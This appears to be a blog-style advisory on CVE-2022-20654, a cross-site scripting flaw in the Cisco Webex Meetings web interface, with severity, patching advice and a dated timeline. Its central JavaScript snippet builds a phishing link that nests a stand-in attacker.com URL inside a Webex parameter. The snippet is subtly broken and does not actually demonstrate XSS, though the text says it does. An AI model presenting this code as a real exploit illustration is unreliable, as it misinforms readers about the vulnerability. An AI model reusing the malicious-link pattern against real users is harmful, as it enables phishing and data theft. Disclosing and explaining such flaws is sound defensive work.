CVE-2022-20654: A High-Risk XSS Vulnerability Found in Cisco Webex Meetings' Web-Based Interface

A high-risk vulnerability, identified as CVE-2022-20654, has been discovered in the web-based interface of Cisco Webex Meetings, potentially putting millions of users at risk. This vulnerability could expose users to a cross-site scripting (XSS) attack conducted by an unauthenticated, remote attacker due to insufficient validation of user-supplied input.

Vulnerability Details

The web-based interface of Cisco Webex Meetings does not properly validate user-supplied input, which could allow an attacker to exploit this vulnerability by persuading a victim to click on a malicious link. If successful, the attacker could execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.

Here's a code snippet illustrating the vulnerability

let attacker_url = "https://attacker.com/xss?payload=";;
let cisco_webex_meetings_url = "https://webex.com/meetings?a=";;
let user_input = getUserInput(); // insufficient validation of user input
let malicious_url = attacker_url + encodeURIComponent(user_input);
let exploit_link = cisco_webex_meetings_url + encodeURIComponent(malicious_url);

By clicking on the exploit_link, a victim would unknowingly execute the malicious script code within their Cisco Webex Meetings interface, potentially exposing sensitive information to attackers.

The national vulnerability database (NVD) has assigned a base score of 7.4 (High) to this vulnerability. Additional details about the vulnerability can be found in the original advisories from Cisco and The NVD.

Mitigation and Prevention

Cisco has released software updates to address this vulnerability, and it is strongly recommended for all users of Cisco Webex Meetings to apply these updates as soon as possible. You can check the Cisco Security Advisory for details on the affected software versions and how to get the updates.

Unfortunately, there are no workarounds presently known that can effectively address this vulnerability. Users must rely on patching their systems with the latest software updates from Cisco, as mentioned above.

Conclusion

CVE-2022-20654 is a serious vulnerability in the web-based interface of Cisco Webex Meetings that could allow an attacker to conduct a highly damaging XSS attack against users. To mitigate this risk, users are urged to update their Cisco Webex Meetings software with the latest patches provided by Cisco. Always be cautious and vigilant when clicking on links, especially if they come from untrusted sources. Prevention is the best defense against potential cyber threats.

Timeline

Published on: 11/15/2024 16:15:20 UTC